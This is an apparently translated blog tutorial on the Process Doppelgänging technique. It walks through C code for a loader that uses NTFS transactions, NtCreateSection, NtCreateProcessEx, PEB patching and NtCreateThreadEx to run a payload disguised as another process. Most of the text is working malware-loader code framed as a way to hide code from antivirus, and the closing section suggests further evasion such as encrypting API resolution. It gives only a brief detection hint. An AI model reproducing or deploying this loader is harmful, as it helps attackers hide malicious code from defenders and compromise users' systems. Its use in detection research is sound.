At Black Hat Europe 2017, researchers presented a talk on a new process-launching technique called Process Doppelgänging. Malware authors quickly adopted it, and there are already several strains in the wild that exploit this method. I’ll explain what Process Doppelgänging is, which system mechanisms it relies on, and we’ll also write a small loader that demonstrates how to launch one process while making it appear as another.
The Process Doppelgänging technique is somewhat similar to its predecessor, Process Hollowing, but it differs in how the application is started and how it interacts with the operating system’s loader. In addition, the new technique relies on NTFS transaction mechanisms and related WinAPI calls such as CreateTransaction, CommitTransaction, CreateFileTransacted, and RollbackTransaction, which, of course, are not used in Process Hollowing.
This new technique for hiding processes is both its greatest strength and its main weakness. On the one hand, antivirus and security software developers were not prepared for malware to use NTFS transaction–related WinAPI functions as an execution mechanism. On the other hand, after a talk at a conference, those same WinAPI calls will immediately become suspect whenever they appear in executable code. And that’s no surprise: these are obscure system calls that almost never show up in normal applications. There are, of course, several ways to conceal WinAPI calls, but that’s a separate topic. For now, what we have is a solid proof of concept that can be developed further.
Differences Between Process Doppelgänging and Process Hollowing
Process Hollowing is a widely used technique in certain circles for running arbitrary executable code. It works by replacing the code of a suspended legitimate process with malicious code and then running that malicious code in the context of the original process. Here’s the general workflow of Process Hollowing.
- Use
CreateProcessto launch a legitimate, trusted process with theCREATE_SUSPENDEDflag so it starts in a suspended state. - Hide the mapped section from the process’s address space using
NtUnmapViewOfSection. - Overwrite the code in memory with the desired payload using
WriteProcessMemory. - Start execution by resuming the main thread with
ResumeThread.
In essence, we’re manually altering how the OS bootloader works and doing part of its job for it, while also swapping out code in memory along the way.
In turn, to implement the Process Doppelgänging technique, we need to perform the following steps.
- Create a new NTFS transaction using the
CreateTransactionfunction. - Within the context of this transaction, create a temporary file for our code using
CreateFileTransacted. - Create in‑memory buffers for the temporary file (a “section” object) using the
NtCreateSectionfunction. - Inspect the PEB (Process Environment Block).
- Start the process via
NtCreateProcessEx, then resume its main thread withResumeThread.
The NTFS Transactional File System (TxF) technology first appeared in Windows Vista at the NTFS driver level and has remained in all subsequent operating systems in this family. It is designed to support various operations on the NTFS file system, and is also sometimes used when working with databases.
TxF operations are considered atomic: while a transaction (and its associated files) is in progress, it remains invisible to everyone until it’s either committed or rolled back. And if it’s rolled back, the operation won’t change anything on disk.
You can create a transaction using the CreateTransaction function with zeroed parameters; the last parameter is the transaction name. Its prototype looks like this:
HANDLE CreateTransaction(
IN LPSECURITY_ATTRIBUTES lpTransactionAttributes OPTIONAL,
IN LPGUID UOW OPTIONAL,
IN DWORD CreateOptions OPTIONAL,
IN DWORD IsolationLevel OPTIONAL,
IN DWORD IsolationFlags OPTIONAL,
IN DWORD Timeout OPTIONAL,
LPWSTR Description
);
Getting Started
We’ll start building the application from scratch. Let’s agree that our application (the payload), which we’ll need to run in the context of another application (the target), will be passed as the second argument, and the target itself will be passed as the first argument.
Using Undocumented NTAPI Functions
In the code, we’ll be using undocumented Windows NT API functions. We’ll resolve them dynamically based on their prototypes. Here’s one possible way to obtain these undocumented functions and work with them.
We declare the prototype of the NtQueryInformationProcess function:
typedef NTSTATUS(WINAPI *NtQueryInformationProcess)(HANDLE,
UINT,
PVOID,
ULONG,
PULONG);
At runtime, we fetch the address of the required function in ntdll. by its name using GetProcAddress and assign it to the variable defined by our function prototype:
pNtQueryInformationProcess NtQueryInfoProcess = (pNtQueryInformationProcess) GetProcAddress(
LoadLibrary(L"ntdll.dll"),
"NtQueryInformationProcess"
);
Here we’re using the NtQueryInformationProcess function in the usual way, just calling it through our own variable:
NTSTATUS Status = pNtQueryInfoProcess(...);
if (Status == 0x00000000) return 0;
This is how all the required undocumented functions are obtained and used — the ones you’d normally put into the project’s header file.
int main(int argc, char *argv[]) {
WCHAR descr[MAX_PATH] = { 0 };
HANDLE hTrans = CreateTransaction(NULL,
0,
0,
0,
0,
0,
descr);
if (hTrans == INVALID_HANDLE_VALUE)
return -1;
Next, create a dummy temporary file within the transaction context.
HANDLE hTrans_file = CreateFileTransacted(dummy_file,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTrans,
NULL,
NULL);
if (hTrans_file == INVALID_HANDLE_VALUE)
return -1;
The dummy_file variable stores the path to the file we’re impersonating. I’ll try to always show prototypes for undocumented functions; here’s the prototype for CreateFileTransacted.
HANDLE CreateFileTransactedA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile,
HANDLE hTransaction,
PUSHORT pusMiniVersion,
PVOID lpExtendedParameter
);
Next, we need to allocate memory for our payload. You can do this either by using memory mapping or with a regular malloc call.
HANDLE input_payload = CreateFile(argv[2],
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (input_payload == INVALID_HANDLE_VALUE)
return -1;
BOOL status = GetFileSizeEx(input_payload, &pf_size);
if (!status) return -1;
DWORD dwf_size = pf_size.LowPart;
BYTE *buf = (BYTE *)malloc(dwf_size);
if (!buf) return -1;
I don’t think this code will give you any trouble: it only uses standard WinAPI functions and regular C language functions.
So, the buffer in memory is ready—now let’s fill it.
DWORD read_bytes = 0;
DWORD overwrote = 0;
if (ReadFile(input_payload, buf, dwf_size, &read_bytes, NULL) == FALSE)
return -1;
if (WriteFile(hTransactedFile, buf, dwf_size, &overwrote, NULL) == FALSE)
return -1;
status = NtCreateSection(&hSection_obj,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hTrans_file);
if (!NT_SUCCESS(status))
return -1;
At this point, everything in memory is ready: the buffer is allocated and filled with our payload. Now we just need to do a few things — create a process, set up the PEB, calculate the entry point, and start execution in a new thread. 🙂
We can’t use CreateProcess to create the process: it needs a path to an executable file, and the file we created inside the transaction is fake. On top of that, the transaction hasn’t been committed (and never will be, we’ll roll it back), so we’re simply unable to provide a valid path.
There is a way around this — use the NTAPI function NtCreateProcessEx. It doesn’t require a file path. Here is its prototype:
NTSTATUS
NTAPI
NtCreateProcessEx(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ParentProcess,
_In_ ULONG Flags,
_In_opt_ HANDLE SectionHandle,
_In_opt_ HANDLE DebugPort,
_In_opt_ HANDLE ExceptionPort,
_In_ ULONG JobMemberLevel
);
The SectionHandle parameter passed to this function is simply the handle to the section we previously created with NtCreateSection.
status = NtCreateProcessEx(&h_proc,
GENERIC_ALL,
NULL,
GetCurrentProcess(),
PS_INHERIT_HANDLES,
hSection_obj,
NULL,
NULL,
FALSE);
if (!NT_SUCCESS(status))
return -1;
Here’s where the magic ends and the routine begins. If you’ve ever implemented in‑memory process creation using NtCreateProcessEx, this will be straightforward. First, we’ll populate RTL_USER_PROCESS_PARAMETERS and write this data into our process.
UNICODE_STRING victim_path;
PRTL_USER_PROCESS_PARAMETERS proc_parameters = 0;
status = RtlCreateProcessParametersEx(&proc_parameters,
&victim_path,
NULL,
NULL,
&victim_path,
NULL,
NULL,
NULL,
NULL,
NULL,
RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(status))
return -1;
LPVOID r_proc_parameters;
r_proc_parameters = VirtualAllocEx(h_proc, proc_parameters,
(ULONGLONG)proc_parameters & 0xffff + proc_parameters->EnvironmentSize + proc_parameters->MaximumLength,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!r_proc_parameters)
return -1;
status = WriteProcessMemory(h_proc,
proc_parameters,
proc_parameters,
proc_parameters->EnvironmentSize + proc_parameters->MaximumLength,
NULL);
if (!NT_SUCCESS(status))
return -1;
Next, similarly, we use WriteProcessMemory to modify the PEB.
PROCESS_BASIC_INFORMATION pb_info;
status = NtQueryInformationProcess(
h_proc,
ProcessBasicInformation,
&pb_info,
sizeof(pb_info),
0);
if (!NT_SUCCESS(status))
return -1;
PEB *peb = pb_info.PebBaseAddress;
status = WriteProcessMemory(h_proc,
&peb->ProcessParameters,
&proc_parameters,
sizeof(LPVOID),
NULL);
if (!NT_SUCCESS(status))
return -1;
And the final touch is starting the process thread. To do that, we need to determine the module’s base load address and the entry point of the code in the buffer we allocated. The code for this is standard and somewhat simplified.
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buf;
PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(buf + dos_header->e_lfanew);
ULONGLONG ep_proc = nt_header->OptionalHeader.AddressOfEntryPoint;
GetSystemInfo(&sys_info);
LPVOID base_addr = 0;
while (p_memory < sys_info.lpMaximumApplicationAddress) {
VirtualQueryEx(h_proc,
p_memory,
&mem_basic_info,
sizeof(MEMORY_BASIC_INFORMATION));
GetMappedFileName(h_proc,
mem_basic_info.BaseAddress,
mod_name,
MAX_PATH);
if (strstr(mod_name, argv[1]))
base_addr = mem_basic_info.BaseAddress;
p_memory = (LPVOID)((ULONGLONG)mem_basic_info.BaseAddress + (ULONGLONG)mem_basic_info.RegionSize);
}
ep_proc += (ULONGLONG)base_addr;
And then we start the actual thread:
HANDLE hThread;
status = NtCreateThreadEx(&hThread,
GENERIC_ALL,
NULL,
h_proc,
(LPTHREAD_START_ROUTINE)ep_proc,
NULL,
FALSE,
0,
0,
0,
NULL);
if (!NT_SUCCESS(status))
return -1;
That’s it. From this point on, our code starts running under the cover of another process.
Don’t forget to roll back the transaction:
if (!RollbackTransaction(hTrans)) return -1;
Conclusion
As you can see, there’s nothing particularly complex about this new attack. One nice bonus is that it’s fileless: all the code only ever lives in memory, because instead of committing the NTFS transaction, we roll back all the changes.
This kind of injection is fairly easy to detect — you just need to compare the code in memory with the code on disk. In addition, some of the NTAPI calls used in this article are heavily flagged by antivirus heuristics (for example, NtCreateThreadEx). The very fact that your code uses rarely seen WinAPI functions related to NTFS transactions can also raise suspicion, especially given that Microsoft itself advises against using them. That doesn’t guarantee a heuristic will trigger, but it will definitely make antivirus engines scrutinize your file with a strong bias.
Note that the code I showed is just a proof of concept and can be improved in many ways. For example, you could use memory-mapped buffers instead of regular allocations, encrypt the logic that dynamically resolves function addresses, and so on.